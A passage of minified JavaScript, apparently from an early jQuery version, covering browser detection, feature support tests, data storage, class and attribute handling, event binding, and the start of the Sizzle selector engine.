!c.isFunction(b)){d=b;b=w}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});P=c.uaMatch(P);if(P.browser){c.browser[P.browser]=true;c.browser.version=P.version}if(c.browser.webkit)c.browser.safari=
+
true;if(ya)c.inArray=function(a,b){return ya.call(b,a)};T=c(s);if(s.addEventListener)L=function(){s.removeEventListener("DOMContentLoaded",L,false);c.ready()};else if(s.attachEvent)L=function(){if(s.readyState==="complete"){s.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=s.documentElement,b=s.createElement("script"),d=s.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML="   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";
+
var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected,
+
parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent=
+
false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n=
+
s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,
+
applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando];
+
else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,
+
a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===
+
w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i,
+
cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className){for(var j=" "+e.className+" ",
+
i=e.className,o=0,k=b.length;o<k;o++)if(j.indexOf(" "+b[o]+" ")<0)i+=" "+b[o];e.className=c.trim(i)}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(k){var n=c(this);n.removeClass(a.call(this,k,n.attr("class")))});if(a&&typeof a==="string"||a===w)for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var j=(" "+e.className+" ").replace(Aa," "),i=0,o=b.length;i<o;i++)j=j.replace(" "+b[i]+" ",
+
" ");e.className=c.trim(j)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var j=c(this);j.toggleClass(a.call(this,e,j.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,j=0,i=c(this),o=b,k=a.split(ca);e=k[j++];){o=f?o:!i.hasClass(e);i[o?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=
+
this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(Aa," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j<d;j++){var i=
+
e[j];if(i.selected){a=c(i).val();if(b)return a;f.push(a)}}return f}if(Ba.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Za,"")}return w}var o=c.isFunction(a);return this.each(function(k){var n=c(this),r=a;if(this.nodeType===1){if(o)r=a.call(this,k,n.val());if(typeof r==="number")r+="";if(c.isArray(r)&&Ba.test(this.type))this.checked=c.inArray(n.val(),r)>=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected=
+
c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");
+
a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g,
+
function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split(".");
+
k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a),
+
C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B<r.length;B++){u=r[B];if(d.guid===u.guid){if(i||k.test(u.namespace)){f==null&&r.splice(B--,1);n.remove&&n.remove.call(a,u)}if(f!=
+
null)break}}if(r.length===0||f!=null&&r.length===1){if(!n.teardown||n.teardown.call(a,o)===false)Ca(a,e,z.handle);delete C[e]}}else for(var B=0;B<r.length;B++){u=r[B];if(i||k.test(u.namespace)){c.event.remove(a,n,u.handler,B);r.splice(B--,1)}}}if(c.isEmptyObject(C)){if(b=z.handle)b.elem=null;delete z.events;delete z.handle;c.isEmptyObject(z)&&c.removeData(a)}}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=
+
e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&&
+
f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;
+
if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e<j;e++){var i=d[e];if(b||f.test(i.namespace)){a.handler=i.handler;a.data=i.data;a.handleObj=i;i=i.handler.apply(this,arguments);if(i!==w){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
+
fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||s;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=s.documentElement;d=s.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
+
d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==w)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a){c.event.add(this,a.origType,c.extend({},a,{handler:oa}))},remove:function(a){var b=true,d=a.origType.replace(O,"");c.each(c.data(this,
+
"events").live||[],function(){if(d===this.origType.replace(O,""))return b=false});b&&c.event.remove(this,a.origType,oa)}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};var Ca=s.removeEventListener?function(a,b,d){a.removeEventListener(b,d,false)}:function(a,b,d){a.detachEvent("on"+b,d)};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=
+
a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,
+
isImmediatePropagationStopped:Y};var Da=function(a){var b=a.relatedTarget;try{for(;b&&b!==this;)b=b.parentNode;if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}}catch(d){}},Ea=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ea:Da,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ea:Da)}}});if(!c.support.submitBubbles)c.event.special.submit=
+
{setup:function(){if(this.nodeName.toLowerCase()!=="form"){c.event.add(this,"click.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="submit"||d==="image")&&c(b).closest("form").length)return na("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit",function(a){var b=a.target,d=b.type;if((d==="text"||d==="password")&&c(b).closest("form").length&&a.keyCode===13)return na("submit",this,arguments)})}else return false},teardown:function(){c.event.remove(this,".specialSubmit")}};
+
if(!c.support.changeBubbles){var da=/textarea|input|select/i,ea,Fa=function(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data",
+
e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a,
+
"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a,
+
d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return e.apply(this,arguments)}):e;if(d==="unload"&&b!=="one")this.one(d,f,e);else{j=0;for(var o=this.length;j<o;j++)c.event.add(this[j],d,i,f)}return this}});c.fn.extend({unbind:function(a,b){if(typeof a==="object"&&
+
!a.preventDefault)for(var d in a)this.unbind(d,a[d]);else{d=0;for(var f=this.length;d<f;d++)c.event.remove(this[d],a,b)}return this},delegate:function(a,b,d,f){return this.live(b,d,f,a)},undelegate:function(a,b,d){return arguments.length===0?this.unbind("live"):this.die(b,null,d,a)},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},
+
toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});var Ga={focus:"focusin",blur:"focusout",mouseenter:"mouseover",mouseleave:"mouseout"};c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e,j){var i,o=0,k,n,r=j||this.selector,
+
u=j?this:c(this.context);if(c.isFunction(f)){e=f;f=w}for(d=(d||"").split(" ");(i=d[o++])!=null;){j=O.exec(i);k="";if(j){k=j[0];i=i.replace(O,"")}if(i==="hover")d.push("mouseenter"+k,"mouseleave"+k);else{n=i;if(i==="focus"||i==="blur"){d.push(Ga[i]+k);i+=k}else i=(Ga[i]||i)+k;b==="live"?u.each(function(){c.event.add(this,pa(i,r),{data:f,selector:r,handler:e,origType:i,origHandler:e,preType:n})}):u.unbind(pa(i,r),e)}}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),
+
function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});A.attachEvent&&!A.addEventListener&&A.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});(function(){function a(g){for(var h="",l,m=0;g[m];m++){l=g[m];if(l.nodeType===3||l.nodeType===4)h+=l.nodeValue;else if(l.nodeType!==8)h+=a(l.childNodes)}return h}function b(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];
+
if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=l;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}m[q]=y}}}function d(g,h,l,m,q,p){q=0;for(var v=m.length;q<v;q++){var t=m[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===l){y=m[t.sizset];break}if(t.nodeType===1){if(!p){t.sizcache=l;t.sizset=q}if(typeof h!=="string"){if(t===h){y=true;break}}else if(k.filter(h,[t]).length>0){y=t;break}}t=t[g]}m[q]=y}}}var f=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+
e=0,j=Object.prototype.toString,i=false,o=true;[0,0].sort(function(){o=false;return 0});var k=function(g,h,l,m){l=l||[];var q=h=h||s;if(h.nodeType!==1&&h.nodeType!==9)return[];if(!g||typeof g!=="string")return l;for(var p=[],v,t,y,S,H=true,M=x(h),I=g;(f.exec(""),v=f.exec(I))!==null;){I=v[3];p.push(v[1]);if(v[2]){S=v[3];break}}if(p.length>1&&r.exec(g))if(p.length===2&&n.relative[p[0]])t=ga(p[0]+p[1],h);else for(t=n.relative[p[0]]?[h]:k(p.shift(),h);p.length;){g=p.shift();if(n.relative[g])g+=p.shift();
+
t=ga(g,t)}else{if(!m&&p.length>1&&h.nodeType===9&&!M&&n.match.ID.test(p[0])&&!n.match.ID.test(p[p.length-1])){v=k.find(p.shift(),h,M);h=v.expr?k.filter(v.expr,v.set)[0]:v.set[0]}if(h){v=m?{expr:p.pop(),set:z(m)}:k.find(p.pop(),p.length===1&&(p[0]==="~"||p[0]==="+")&&h.parentNode?h.parentNode:h,M);t=v.expr?k.filter(v.expr,v.set):v.set;if(p.length>0)y=z(t);else H=false;for(;p.length;){var D=p.pop();v=D;if(n.relative[D])v=p.pop();else D="";if(v==null)v=h;n.relative[D](y,v,M)}}else y=[]}y||(y=t);y||k.error(D||
+
g);if(j.call(y)==="[object Array]")if(H)if(h&&h.nodeType===1)for(g=0;y[g]!=null;g++){if(y[g]&&(y[g]===true||y[g].nodeType===1&&E(h,y[g])))l.push(t[g])}else for(g=0;y[g]!=null;g++)y[g]&&y[g].nodeType===1&&l.push(t[g]);else l.push.apply(l,y);else z(y,l);if(S){k(S,q,l,m);k.uniqueSort(l)}return l};k.uniqueSort=function(g){if(B){i=o;g.sort(B);if(i)for(var h=1;h<g.length;h++)g[h]===g[h-1]&&g.splice(h--,1)}return g};k.matches=function(g,h){return k(g,null,null,h)};k.find=function(g,h,l){var m,q;if(!g)return[];
+
for(var p=0,v=n.order.length;p<v;p++){var t=n.order[p];if(q=n.leftMatch[t].exec(g)){var y=q[1];q.splice(1,1);if(y.substr(y.length-1)!=="\\"){q[1]=(q[1]||"").replace(/\\/g,"");m=n.find[t](q,h,l);if(m!=null){g=g.replace(n.match[t],"");break}}}}m||(m=h.getElementsByTagName("*"));return{set:m,expr:g}};k.filter=function(g,h,l,m){for(var q=g,p=[],v=h,t,y,S=h&&h[0]&&x(h[0]);g&&h.length;){for(var H in n.filter)if((t=n.leftMatch[H].exec(g))!=null&&t[2]){var M=n.filter[H],I,D;D=t[1];y=false;t.splice(1,1);if(D.substr(D.length-
+
1)!=="\\"){if(v===p)p=[];if(n.preFilter[H])if(t=n.preFilter[H](t,v,l,p,m,S)){if(t===true)continue}else y=I=true;if(t)for(var U=0;(D=v[U])!=null;U++)if(D){I=M(D,t,U,v);var Ha=m^!!I;if(l&&I!=null)if(Ha)y=true;else v[U]=false;else if(Ha){p.push(D);y=true}}if(I!==w){l||(v=p);g=g.replace(n.match[H],"");if(!y)return[];break}}}if(g===q)if(y==null)k.error(g);else break;q=g}return v};k.error=function(g){throw"Syntax error, unrecognized expression: "+g;};var n=k.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF-]|\\.)+)/,
+
CLASS:/\.((?:[\w\u00c0-\uFFFF-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(g){return g.getAttribute("href")}},
+
relative:{"+":function(g,h){var l=typeof h==="string",m=l&&!/\W/.test(h);l=l&&!m;if(m)h=h.toLowerCase();m=0;for(var q=g.length,p;m<q;m++)if(p=g[m]){for(;(p=p.previousSibling)&&p.nodeType!==1;);g[m]=l||p&&p.nodeName.toLowerCase()===h?p||false:p===h}l&&k.filter(h,g,true)},">":function(g,h){var l=typeof h==="string";if(l&&!/\W/.test(h)){h=h.toLowerCase();for(var m=0,q=g.length;m<q;m++){var p=g[m];if(p){l=p.parentNode;g[m]=l.nodeName.toLowerCase()===h?l:false}}}else{m=0;for(q=g.length;m<q;m++)if(p=g[m])g[m]=
+
l?p.parentNode:p.parentNode===h;l&&k.filter(h,g,true)}},"":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("parentNode",h,m,g,p,l)},"~":function(g,h,l){var m=e++,q=d;if(typeof h==="string"&&!/\W/.test(h)){var p=h=h.toLowerCase();q=b}q("previousSibling",h,m,g,p,l)}},find:{ID:function(g,h,l){if(typeof h.getElementById!=="undefined"&&!l)return(g=h.getElementById(g[1]))?[g]:[]},NAME:function(g,h){if(typeof h.getElementsByName!=="undefined"){var l=[];
+
h=h.getElementsByName(g[1]);for(var m=0,q=h.length;m<q;m++)h[m].getAttribute("name")===g[1]&&l.push(h[m]);return l.length===0?null:l}},TAG:function(g,h){return h.getElementsByTagName(g[1])}},preFilter:{CLASS:function(g,h,l,m,q,p){g=" "+g[1].replace(/\\/g,"")+" ";if(p)return g;p=0;for(var v;(v=h[p])!=null;p++)if(v)if(q^(v.className&&(" "+v.className+" ").replace(/[\t\n]/g," ").indexOf(g)>=0))l||m.push(v);else if(l)h[p]=false;return false},ID:function(g){return g[1].replace(/\\/g,"")},TAG:function(g){return g[1].toLowerCase()},
+
CHILD:function(g){if(g[1]==="nth"){var h=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(g[2]==="even"&&"2n"||g[2]==="odd"&&"2n+1"||!/\D/.test(g[2])&&"0n+"+g[2]||g[2]);g[2]=h[1]+(h[2]||1)-0;g[3]=h[3]-0}g[0]=e++;return g},ATTR:function(g,h,l,m,q,p){h=g[1].replace(/\\/g,"");if(!p&&n.attrMap[h])g[1]=n.attrMap[h];if(g[2]==="~=")g[4]=" "+g[4]+" ";return g},PSEUDO:function(g,h,l,m,q){if(g[1]==="not")if((f.exec(g[3])||"").length>1||/^\w/.test(g[3]))g[3]=k(g[3],null,null,h);else{g=k.filter(g[3],h,l,true^q);l||m.push.apply(m,
+
g);return false}else if(n.match.POS.test(g[0])||n.match.CHILD.test(g[0]))return true;return g},POS:function(g){g.unshift(true);return g}},filters:{enabled:function(g){return g.disabled===false&&g.type!=="hidden"},disabled:function(g){return g.disabled===true},checked:function(g){return g.checked===true},selected:function(g){return g.selected===true},parent:function(g){return!!g.firstChild},empty:function(g){return!g.firstChild},has:function(g,h,l){return!!k(l[3],g).length},header:function(g){return/h\d/i.test(g.nodeName)},
+
text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}},
+
